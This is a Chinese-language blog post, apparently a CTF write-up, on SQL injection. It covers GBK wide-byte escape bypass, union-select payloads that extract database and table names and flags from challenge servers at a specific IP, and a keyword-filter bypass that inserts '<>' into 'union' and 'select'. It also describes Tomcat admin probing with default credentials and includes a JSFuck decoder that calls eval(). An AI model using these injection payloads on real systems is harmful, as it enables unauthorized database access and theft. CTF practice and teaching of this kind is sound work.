web安全 - SQL注入

SQL Injection
就是通過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。
具體來說,它是利用現有應用程序,將(惡意)的SQL命令注入到后臺數據庫引擎執行的能力,它可以通過在Web表單中輸入(惡意)SQL語句得到一個存在安全漏洞的網站上的數據庫,而不是按照設計者意圖去執行SQL語句。
首先讓我們了解什么時候可能發生SQL Injection。
假設我們在瀏覽器中輸入URL www.sample.com,由于它只是對頁面的簡單請求無需對數據庫動進行動態請求,所以它不存在SQL Injection,當我們輸入www.sample.com?testid=23時,我們在URL中傳遞變量testid,并且提供值為23,由于它是對數據庫進行動態查詢的請求(其中?testid=23表示數據庫查詢變量),所以我們可以該URL中嵌入惡意SQL語句。

寬字符是指兩個字節寬度的編碼技術,如UNICODE、GBK、BIG5等。當MYSQL數據庫數據在處理和存儲過程中,涉及到的字符集相關信息包括:
(1) character_set_client:客戶端發送過來的SQL語句編碼,也就是PHP發送的SQL查詢語句編碼字符集。
(2) character_set_connection:MySQL服務器接收客戶端SQL查詢語句后,在實施真正查詢之前SQL查詢語句編碼字符集。
(3) character_set_database:數據庫缺省編碼字符集。
(4) character_set_filesystem:文件系統編碼字符集。
(5) character_set_results:SQL語句執行結果編碼字符集。
(6) character_set_server:服務器缺省編碼字符集。
(7) character_set_system:系統缺省編碼字符集。
(8) character_sets_dir:字符集存放目錄,一般不要修改。

寬字節對轉義字符的影響發生在character_set_client=gbk的情況,也就是說,如果客戶端發送的數據字符集是gbk,則可能會吃掉轉義字符\,從而導致轉義消毒失敗。
應用場景: 寬字節注入出口
Test1:http://103.238.227.13:10083/?id=1%df%27

sqltestone.png

Result1返回數據庫類型為mysql,嘗試利用mysql的gbk編碼漏洞,union select嘗試爆庫

Test2 http://103.238.227.13:10083/?id=1%df%27%20union%20select%201,2%23

sqltestsecond.png

Result2:返回數據庫記錄,union select測試到兩列回顯,重新拼表

tips:這里有必要提醒一下,union select [1...n]的含義是在將相應位置替換成你想獲得的數據.union select代表著再找到第一條id為1的記錄同時,更改這條記錄之后一個字段的值依次為2,3,4,5....n

Test3:嘗試嘗試查詢union select 1,database(),拿到記錄所在的數據庫
http://103.238.227.13:10083/?id=1%df%27%20union%20select%201,database()%23

Result3:拿到表名為sql5,嘗試爆表

SQL5.png

Test4: 從key表中爆字段,指定記錄id=1的下一個字段為string類型,拿到key
http://103.238.227.13:10083/?id=1%df%27%20union%20select%201,string%20from%20sql5.key%20where%20id=1%23

Result4:拿到id=1保存的flag

result.png

通常我們在進行后臺維護時,都會用一個列表來保存注入語句中可能出現的關鍵字, 上文寬字節注入就是一個最好的例子,如果我們過濾select,union字段,當我們在進行注入時,這些敏感詞都會被過濾

應用場景 :敏感詞過濾出口
Test1:為了繞開這些敏感詞,我們普遍采取xss攻擊在關鍵字的前兩個字母后加上<>避免被過濾掉
http://103.238.227.13:10087/?id=1%20un%3C%3Eion%20se%3C%3Elect%201,2%23
Result1:拼接表成功,顯示拼接表1,2兩行

result1.jpg

Test2:由上我們再一次爆庫
URL轉義before:
http://103.238.227.13:10087/?id=1 un<>ion se<>lect database(),2%23
after:
http://103.238.227.13:10087/?id=1%20un%3C%3Eion%20se%3C%3Elect%20database(),2%23

Result2:找到字段id=1的表sql3

sql3.jpg

Test3:找到id=hash的記錄,爆key表
URL轉義before:

http://103.238.227.13:10087/?id=1 un<>ion se<>lect hash,2 fr<>om sql3.key%23

after:

http://103.238.227.13:10087/?id=1%20un%3C%3Eion%20se%3C%3Elect%20hash,2%20fr%3C%3Eom%20sql3.key%23

Result3:拿到flag,加上key括號

key.jpg

Jsp存在漏洞:
通常在本地構建完Jsp項目之后,都要放在一個叫做Tomcat的小型服務器里運行Web項目
PS:Tomcat版本的缺省“/admin”目錄是很容易訪問的。輸入:http://202.103.*.168/admin/,管理員目錄赫然在列。默認情況下,“User Name”應該是admin,“Password”應該是空,輸入用戶和密碼后,并點擊“Login”按鈕,不能進入,陸續使用了幾個比較常見的密碼,也無濟于事。 默認情況下,Tomcat打開了目錄瀏覽功能,而一般的管理員又很容易忽視這個問題。也就是說,當要求的資源直接映射到服務器上的一個目錄時,由于在目錄中缺少缺省的index.jsp等文件,Tomcat將不返回找不到資源的404錯誤,而是返回HTML格式的目錄列表。

應用場景:Jsp注入出口
Test1-9: 嘗試Jsp注入常用方法
Result1-9:均無效

failure.jpg

看了一位dalao的wp,才知道要用一個叫做JSfuck的庫,

PS:JSFuck是基于JavaScript原子部分的深奧和教育式編程風格。它只使用六個不同的字符來編寫和執行代碼。這么說有些深奧,我們舉幾個例子來看下吧~

alert(1)編碼,得到的1227個字節的JsFuck語言,所以也就是一種特殊的編碼性質,這里mark一下~

result2.jpg

Test10:將Test1-9的div style="display:none"標簽下的jsfuck編碼轉義,Decode JSfuck

index.html

<html>
<head>
    <meta charset="UTF-8">
    <title>JSFuck decoder</title>
    <style type="text/css">
    @import 'https://fonts.googleapis.com/css?family=Open+Sans:300';
    * {
        margin: 0;
        padding: 0;
        -moz-box-sizing: border-box;
        -webkit-box-sizing: border-box;
        box-sizing: border-box;
    }
    
    body {
        padding: 20px;
        text-align: left;
        font-family: Lato;
        color: #fff;
        background: #52B3D9;
        font-family: 'Open Sans', sans-serif;
        text-align: center;
    }
    
    h1 {
        font-weight: 300;
        font-size: 40px;
        text-transform: uppercase;
        text-align: center;
        margin: 20px 0;
    }
    
    textarea {
        display: block;
        clear: both;
        margin-bottom: 10px;
        border-radius: 7px;
        padding: 15px 10px;
        font-size: 14px;
        outline: none;
        border: none;
        background-color: #34495E;
        color: #fff;
        -moz-transition: all 0.2s ease-in;
        -o-transition: all 0.2s ease-in;
        -webkit-transition: all 0.2s ease-in;
        transition: all 0.2s ease-in;
    }
    input {
      margin: 0 auto;
    position: relative;
    vertical-align: top;
    width: 150px;
    height: 60px;
    padding: 0;
    font-size: 22px;
    font-weight: 300;
    color: white;
    text-align: center;
    text-shadow: 0 1px 2px rgba(0, 0, 0, 0.25);
    background: #2980b9;
    border: 0;
    border-bottom: 2px solid #2475ab;
    cursor: pointer;
    -webkit-box-shadow: inset 0 -2px #2475ab;
    box-shadow: inset 0 -2px #2475ab;
    }
    input:active {
    top: 1px;
    outline: none;
    -webkit-box-shadow: none;
    box-shadow: none;
  }
    input:-ms-input-placeholder,
    textarea:-ms-input-placeholder {
        color: #fff;
        font-size: 20px;
        font-weight: 300;
        text-transform: uppercase;
    }
    
    input::-moz-placeholder,
    textarea::-moz-placeholder {
        color: #fff;
        font-size: 20px;
        font-weight: 300;
        text-transform: uppercase;
    }
    
    input::-webkit-input-placeholder,
    textarea::-webkit-input-placeholder {
        color: #fff;
        font-size: 20px;
        font-weight: 300;
        text-transform: uppercase;
    box-shadow: none;
    -webkit-appearance: none;
    }
    
    textarea:hover {
        background-color: #22313F;
        color: #f2f2f2;
    }
    textarea:focus {
        background-color: #1a252f;
        color: #fff;
    }
    textarea {
        height: 550px;
    }
    </style>
</head>
<body>
    <h1>Wanna decode <font color="#f0f060">JSFuck?</font></h1>
    <textarea placeholder="Paste your code here!" id="code" style="width:100%;min-height:300px"></textarea>
    <input type="submit" onclick="decode()" value="Decode">

<script type="text/javascript">
function decode() {
    var code = document.querySelector('#code');
    code.value = (/\n(.+)/.exec(eval(code.value.replace(/\s+/, "").slice(0, -2)))[1]);
}
</script>
</body> <xpather id="xpather">      
<form id="xpather-form">            
    <input id="xpather-xpath" type="text" placeholder="enter XPath…" autocomplete="off" spellcheck="false">     
    </form>         
    <xpather id="xpather-result"></xpather>     
    <xpather id="xpather-sidebar-toggler"></xpather>    
    </xpather>  
    <xpather id="xpather-sidebar">      
    <xpather id="xpather-sidebar-spacer"></xpather>     
    <xpather id="xpather-sidebar-entries"></xpather>    
    </xpather>
</html>

Result10:flag拿到

flag.jpg
最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市,隨后出現的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 229,836評論 6 540
  • 序言:濱河連續發生了三起死亡事件,死亡現場離奇詭異,居然都是意外死亡,警方通過查閱死者的電腦和手機,發現死者居然都...
    沈念sama閱讀 99,275評論 3 428
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人,你說我怎么就攤上這事?!?“怎么了?”我有些...
    開封第一講書人閱讀 177,904評論 0 383
  • 文/不壞的土叔 我叫張陵,是天一觀的道長。 經常有香客問我,道長,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 63,633評論 1 317
  • 正文 為了忘掉前任,我火速辦了婚禮,結果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當我...
    茶點故事閱讀 72,368評論 6 410
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發上,一...
    開封第一講書人閱讀 55,736評論 1 328
  • 那天,我揣著相機與錄音,去河邊找鬼。 笑死,一個胖子當著我的面吹牛,可吹牛的內容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 43,740評論 3 446
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了?” 一聲冷哼從身側響起,我...
    開封第一講書人閱讀 42,919評論 0 289
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后,有當地人在樹林里發現了一具尸體,經...
    沈念sama閱讀 49,481評論 1 335
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 41,235評論 3 358
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發現自己被綠了。 大學時的朋友給我發了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 43,427評論 1 374
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 38,968評論 5 363
  • 正文 年R本政府宣布,位于F島的核電站,受9級特大地震影響,放射性物質發生泄漏。R本人自食惡果不足惜,卻給世界環境...
    茶點故事閱讀 44,656評論 3 348
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 35,055評論 0 28
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至,卻和暖如春,著一層夾襖步出監牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 36,348評論 1 294
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個月前我還...
    沈念sama閱讀 52,160評論 3 398
  • 正文 我出身青樓,卻偏偏與公主長得像,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 48,380評論 2 379

推薦閱讀更多精彩內容